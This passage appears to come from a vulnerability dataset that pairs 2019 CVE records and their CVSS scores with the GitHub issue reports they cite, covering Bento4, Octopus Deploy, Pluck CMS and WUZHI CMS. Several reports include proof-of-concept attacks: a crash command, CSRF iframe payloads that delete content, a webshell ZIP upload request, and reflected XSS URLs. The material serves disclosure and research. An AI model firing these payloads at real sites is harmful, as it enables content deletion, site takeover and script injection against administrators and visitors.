"scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/364" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-ap4_listfind-bento4-1-5-1-628/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:axiosys:bento4:1.5.1-628:::::::*", "matchCriteriaId": "27A2EAA1-1740-4A14-BFFC-BD4406E9BD87", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/axiomatic-systems/Bento4/issues/364	[ "Exploit", "Third Party Advisory" ]	github.com	[ "axiomatic-systems", "Bento4" ]	Description - we observed a NULL pointer dereference occured in function AP4_List<AP4_Track>: Find () located in Ap4List.h.The same be triggered by sending a crafted file to the mp4dump binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. Command - `./mp4dump --track 1:E791400BC075044176E34136E3C134F35E3513BE430B907B --format text $POC` POC - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/POC_NP?raw=true) Degub - ASAN REPORT - ``` ASAN: DEADLYSIGNAL ================================================================= ==10246==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000030 (pc 0x55d0b61aeae7 bp 0x7ffcc696e490 sp 0x7ffcc696e460 T0) ==10246==The signal is caused by a READ memory access. ==10246==Hint: address points to the zero page. #0 0x55d0b61aeae6 in AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track&) const /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4List.h:428 #1 0x55d0b61adb79 in AP4_Movie::GetTrack(unsigned int) /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4Movie.cpp:148 #2 0x55d0b6161f2f in DumpTrackData(char const, AP4_File&, AP4_Array<unsigned int> const&, AP4_ProtectionKeyMap const&) /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Mp4Dump/Mp4Dump.cpp:183 #3 0x55d0b616304f in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Mp4Dump/Mp4Dump.cpp:367 #4 0x7faa6d1a4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #5 0x55d0b61612f9 in _start (/home/aceteam/Desktop/packages/Bento4/builds/mp4dump+0x3082f9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4List.h:428 in AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track&) const ==10246==ABORTING ``` GDB* - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register \| Code \| Heap \| Stack \| String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x20 $rbx : 0x7fffffffd7e0 → 0x0000555555da9370 → 0x0000555555869846 → <AP4_AtomFactory::~AP4_AtomFactory()+0> push rbp $rcx : 0x0 $rdx : 0x0 $rsp : 0x7fffffffd6f0 → 0x00007fffffffd730 → 0x00000001ffffd750 → 0x0000000000000000 $rbp : 0x7fffffffd720 → 0x00007fffffffd810 → 0x00007fffffffd880 → 0x00007fffffffdc70 → 0x0000555555985150 → <__libc_csu_init+0> push r15 $rsi : 0x7fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp $rdi : 0x20 $rip : 0x5555558a9ae7 → <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rax+0x10] $r8 : 0x6 $r9 : 0x1e $r10 : 0x7ffff7fbd000 → 0x00007ffff7fee000 → 0x00007ffff716a698 → 0x00007ffff6f09090 → repz ret $r11 : 0x7ffff64a9b97 → <__libc_start_main+231> mov edi, eax $r12 : 0x7fffffffd740 → 0x0000000041b58ab3 $r13 : 0xffffffffae8 → 0x0000000000000000 $r14 : 0x20 $r15 : 0x7fffffffd740 → 0x0000000041b58ab3 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $ss: 0x002b $cs: 0x0033 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffd6f0│+0x00: 0x00007fffffffd730 → 0x00000001ffffd750 → 0x0000000000000000 ← $rsp 0x00007fffffffd6f8│+0x08: 0x00007fffffffd760 → 0x0000000000000000 0x00007fffffffd700│+0x10: 0x00007fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp 0x00007fffffffd708│+0x18: 0x0000000000000020 0x00007fffffffd710│+0x20: 0x00000001fffffaf8 → 0x0000000000000000 0x00007fffffffd718│+0x28: 0x00007fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp 0x00007fffffffd720│+0x30: 0x00007fffffffd810 → 0x00007fffffffd880 → 0x00007fffffffdc70 → 0x0000555555985150 → <__libc_csu_init+0> push r15 ← $rbp 0x00007fffffffd728│+0x38: 0x00005555558a8b7a → <AP4_Movie::GetTrack(unsigned+0> test eax, eax ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x5555558a9adb <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rdi, rax 0x5555558a9ade <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> call 0x55555585c180 <__asan_report_load8@plt> 0x5555558a9ae3 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rbp-0x18] → 0x5555558a9ae7 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rax+0x10] 0x5555558a9aeb <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov QWORD PTR [rbp-0x8], rax 0x5555558a9aef <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> cmp QWORD PTR [rbp-0x8], 0x0 0x5555558a9af4 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> je 0x5555558a9c13 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track&) const+361> 0x5555558a9afa <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rbp-0x20] 0x5555558a9afe <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rdx, rax ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:/home/aceteam//Bento4/Source/C++/Core/Ap4List.h+428 ]──── 423 template <typename T> 424 inline 425 AP4_Result 426 AP4_List<T>::Find(const typename Item::Finder& finder, T& data) const 427 { // item=0x00007fffffffd718 → [...] → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp → 428 Item* item = m_Head; 429 430 while (item) { 431 if (finder.Test(item->m_Data) == AP4_SUCCESS) { 432 data = item->m_Data; 433 return AP4_SUCCESS; ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "mp4dump", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x5555558a9ae7 → Name: AP4_List<AP4_Track>::Find(this=0x20, finder=@0x7fffffffd7a0, data=@0x7fffffffd760) [#1] 0x5555558a8b7a → Name: AP4_Movie::GetTrack(this=0x0, track_id=0x1) [#2] 0x55555585cf30 → Name: DumpTrackData(mp4_filename=0x7fffffffe17b "$POC", mp4_file=@0x7fffffffdb80, tracks_to_dump=@0x7fffffffda80, key_map=@0x7fffffffdac0) [#3] 0x55555585e050 → Name: main(argc=0x6, argv=0x7fffffffdd90) ───────────────────────────────────────────────────────────────────────────────────────────────── ```	NULL POINTER DEREFERENCE in AP4_List<AP4_Track>: Find ()	https://api.github.com/repos/axiomatic-systems/Bento4/issues/364/comments	0	2019-02-01T10:30:07Z	2019-02-01T10:30:07Z	https://github.com/axiomatic-systems/Bento4/issues/364	405,641,344	364
CVE-2019-8944	2019-02-20T03:29:00.343	An Information Exposure issue in the Terraform deployment step in Octopus Deploy before 2019.1.8 (and before 2018.10.4 LTS) allows remote authenticated users to view sensitive Terraform output variables via log files.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/OctopusDeploy/Issues/issues/5314" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/OctopusDeploy/Issues/issues/5315" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:octopus:octopus_deploy::::::::", "matchCriteriaId": "F2C59C11-94C3-48C8-814F-E5BC1788EBC9", "versionEndExcluding": null, "versionEndIncluding": "2018.9.17", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:octopus:octopus_deploy:2018.10.0::::lts:::", "matchCriteriaId": "2D2D29C2-EE69-48F5-994C-D7C386882228", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:octopus:octopus_deploy:2018.10.1::::lts:::", "matchCriteriaId": "37A900A5-7E91-47B5-8479-1CB5DFCAC3A6", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:octopus:octopus_deploy:2018.10.2::::lts:::", "matchCriteriaId": "23D3AE78-7B30-4E00-99CA-3198B569ADB9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:octopus:octopus_deploy:2018.10.3::::lts:::", "matchCriteriaId": "70B8C720-7B2A-429A-B431-6FEB09708095", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:octopus:octopus_server::::::::", "matchCriteriaId": "0B54792A-9E45-4798-875E-7EE1AFA9A4AD", "versionEndExcluding": "2019.1.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "2018.11.0", "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/OctopusDeploy/Issues/issues/5314	[ "Third Party Advisory" ]	github.com	[ "OctopusDeploy", "Issues" ]	Sensitive Terraform output variables are saved and exposed as regular variables, and printed in the logs. For example, if you deploy the following Terraform template: ``` {"output":{"test":{"sensitive": true, "value": "hi"}}} ``` The value `hi` would appear in the logs.	Save terraform sensitive values as Octopus sensitive values (CVE-2019-8944)	https://api.github.com/repos/OctopusDeploy/Issues/issues/5314/comments	2	2019-02-19T23:00:07Z	2019-07-31T08:42:16Z	https://github.com/OctopusDeploy/Issues/issues/5314	412,164,560	5,314
CVE-2019-8944	2019-02-20T03:29:00.343	An Information Exposure issue in the Terraform deployment step in Octopus Deploy before 2019.1.8 (and before 2018.10.4 LTS) allows remote authenticated users to view sensitive Terraform output variables via log files.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/OctopusDeploy/Issues/issues/5314" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/OctopusDeploy/Issues/issues/5315" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:octopus:octopus_deploy::::::::", "matchCriteriaId": "F2C59C11-94C3-48C8-814F-E5BC1788EBC9", "versionEndExcluding": null, "versionEndIncluding": "2018.9.17", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:octopus:octopus_deploy:2018.10.0::::lts:::", "matchCriteriaId": "2D2D29C2-EE69-48F5-994C-D7C386882228", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:octopus:octopus_deploy:2018.10.1::::lts:::", "matchCriteriaId": "37A900A5-7E91-47B5-8479-1CB5DFCAC3A6", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:octopus:octopus_deploy:2018.10.2::::lts:::", "matchCriteriaId": "23D3AE78-7B30-4E00-99CA-3198B569ADB9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:octopus:octopus_deploy:2018.10.3::::lts:::", "matchCriteriaId": "70B8C720-7B2A-429A-B431-6FEB09708095", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:octopus:octopus_server::::::::", "matchCriteriaId": "0B54792A-9E45-4798-875E-7EE1AFA9A4AD", "versionEndExcluding": "2019.1.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "2018.11.0", "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/OctopusDeploy/Issues/issues/5315	[ "Third Party Advisory" ]	github.com	[ "OctopusDeploy", "Issues" ]	Sensitive Terraform output variables are saved and exposed as regular variables, and printed in the logs. For example, if you deploy the following Terraform template: ``` {"output":{"test":{"sensitive": true, "value": "hi"}}} ``` The value `hi` would appear in the logs.	Save terraform sensitive values as Octopus sensitive values (CVE-2019-8944)	https://api.github.com/repos/OctopusDeploy/Issues/issues/5315/comments	2	2019-02-19T23:08:37Z	2019-05-21T04:01:59Z	https://github.com/OctopusDeploy/Issues/issues/5315	412,167,072	5,315
CVE-2019-9048	2019-02-23T19:29:00.247	An issue was discovered in Pluck 4.7.9-dev1. There is a CSRF vulnerability that can delete a theme (aka topic) via a /admin.php?action=theme_delete&var1= URI.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.8, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/pluck-cms/pluck/issues/69" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:pluck-cms:pluck:4.7.9:dev1::::::", "matchCriteriaId": "C9CA99FC-9182-430A-B005-00A057057AB4", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/pluck-cms/pluck/issues/69	[ "Exploit", "Third Party Advisory" ]	github.com	[ "pluck-cms", "pluck" ]	One: use CSRF vulnerability to delete pictures Vulnerability details: When the administrator logs in, opening the webpage will automatically delete the specified image. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=images Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=deleteimage&var1=test.jpg" > Two: use the CSRF vulnerability to delete the topic Vulnerability details: When the administrator logs in, opening the web page will automatically delete the specified topic. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=theme Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=theme_delete&var1=oldstyl"> Three: use CSRF vulnerability to remove the module Vulnerability details: When the administrator logs in, open the webpage and the specified module will be deleted automatically. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=modules Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=module_delete&var1=albums " > Four: use CSRF vulnerability to delete pictures Vulnerability details: When the administrator logs in, opening the web page will automatically delete the specified article. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=page Vulnerability POC: <iframe src="http://127.0.0.1/pluck/admin.php?action=deletepage&var1=aaaa"> Vulnerability suggestions: One: Detect user submissions by referer, token, or verification code. Second: It is best to use the post operation for users to modify and delete.	Four CSRF vulnerabilities in pluck cms 4.7.9	https://api.github.com/repos/pluck-cms/pluck/issues/69/comments	12	2019-02-18T07:08:41Z	2019-05-15T16:25:24Z	https://github.com/pluck-cms/pluck/issues/69	411,330,487	69
CVE-2019-9050	2019-02-23T19:29:00.343	An issue was discovered in Pluck 4.7.9-dev1. It allows administrators to execute arbitrary code by using action=installmodule to upload a ZIP archive, which is then extracted and executed.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.2, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/pluck-cms/pluck/issues/70" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:pluck-cms:pluck:4.7.9:dev1::::::", "matchCriteriaId": "C9CA99FC-9182-430A-B005-00A057057AB4", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/pluck-cms/pluck/issues/70	[ "Exploit", "Third Party Advisory" ]	github.com	[ "pluck-cms", "pluck" ]	Vulnerability details: In the management module page, the installation module uploads a compressed webshell, which can be directly uploaded and decompressed, causing the entire website to crash. Vulnerability url: http://127.0.0.1/pluck/admin.php?action=installmodule Vulnerability POC: POST /pluck/admin.php?action=installmodule HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/pluck/admin.php?action=installmodule Content-Type: multipart/form-data; boundary=---------------------------26299170359894 Content-Length: 56087 Connection: close Cookie: envlpass=21232f297a57a5a743894a0e4a801fc3; _ga=GA1.1.1523573753.1550292454; PHPSESSID=vr8t3uqdsh6gu011nijv1jjjco Upgrade-Insecure-Requests: 1 -----------------------------26299170359894 Content-Disposition: form-data; name="sendfile"; filename="webshell.zip" Content-Type: application/x-zip-compressed	A file upload vulnerability	https://api.github.com/repos/pluck-cms/pluck/issues/70/comments	4	2019-02-18T07:28:57Z	2019-05-15T14:01:12Z	https://github.com/pluck-cms/pluck/issues/70	411,336,254	70
CVE-2019-9107	2019-02-25T01:29:00.237	XSS exists in WUZHI CMS 4.1.0 via index.php?m=attachment&f=imagecut&v=init&imgurl=[XSS] to coreframe/app/attachment/imagecut.php.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://gist.github.com/redeye5/ccbbc43330cc9821062249b78c916317" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/169" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:wuzhicms:wuzhi_cms:4.1.0:::::::*", "matchCriteriaId": "F4749403-9C42-40DF-A695-A9E31BD37D84", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/wuzhicms/wuzhicms/issues/169	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "wuzhicms", "wuzhicms" ]	A xss vulnerability was discovered in WUZHI CMS 4.1.0 There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the imgurl parameter of /index.php?m=attachment&f=imagecut&v=init Vulnerability file: `coreframe/app/attachment/imagecut.php` ```PHP function init() { if(isset($GLOBALS['imgBase64'])) { ...... } else { if(!empty($GLOBALS['imgurl'])) { $imgurl = urldecode($GLOBALS['imgurl']); } include T('attachment','imagecut'); } } ``` PoC: ``` http://example.com/index.php?m=attachment&f=imagecut&v=init&imgurl=1"+onerror%3d"alert(1)%3b// ``` ![image](https://user-images.githubusercontent.com/47595052/52758438-3e704d00-3043-11e9-8058-3a472f61c775.png)	wuzhicms v4.1.0 imgurl reflected xss vulnerability	https://api.github.com/repos/wuzhicms/wuzhicms/issues/169/comments	0	2019-02-14T02:24:30Z	2019-02-14T02:28:43Z	https://github.com/wuzhicms/wuzhicms/issues/169	410,095,124	169
CVE-2019-9108	2019-02-25T01:29:00.317	XSS exists in WUZHI CMS 4.1.0 via index.php?m=core&f=map&v=baidumap&x=[XSS]&y=[XSS] to coreframe/app/core/map.php.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://gist.github.com/redeye5/ebfef23f0a063b82779151f9cde8e480" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/wuzhicms/wuzhicms/issues/171" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:wuzhicms:wuzhicms:4.1.0:::::::*", "matchCriteriaId": "2B76E69A-B2F3-4359-A7C0-046CEE2FAEEB", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/wuzhicms/wuzhicms/issues/171	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "wuzhicms", "wuzhicms" ]	A xss vulnerability was discovered in WUZHI CMS 4.1.0 There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the x or y parameter of /index.php?m=core&f=map&v=baidumap Vulnerability file: `coreframe/app/core/map.php` ```PHP public function baidumap() { $map_x = isset($GLOBALS['x']) && !empty($GLOBALS['x']) ? $GLOBALS['x'] : 116; $map_y = isset($GLOBALS['y']) && !empty($GLOBALS['y']) ? $GLOBALS['y'] : 39; $map_zoom = isset($GLOBALS['zoom']) && !empty($GLOBALS['zoom']) ? $GLOBALS['zoom'] : 12; if(($map_x=='116' \|\| $map_x=='0.000000') && !empty($GLOBALS['address'])) { $address = $GLOBALS['address']; } else { $address = ''; } include T('map','baidumap'); } ``` PoC: ``` http://example.com/index.php?m=core&f=map&v=baidumap&x=alert(1)&y=alert(2) ``` ![image](https://user-images.githubusercontent.com/47595052/52760115-4f23c180-3049-11e9-9acf-1ca7ac979413.png) ![image](https://user-images.githubusercontent.com/47595052/52760121-564acf80-3049-11e9-80d7-ece73d806d7d.png)	wuzhicms v4.1.0 baidumap reflected xss vulnerability	https://api.github.com/repos/wuzhicms/wuzhicms/issues/171/comments	0	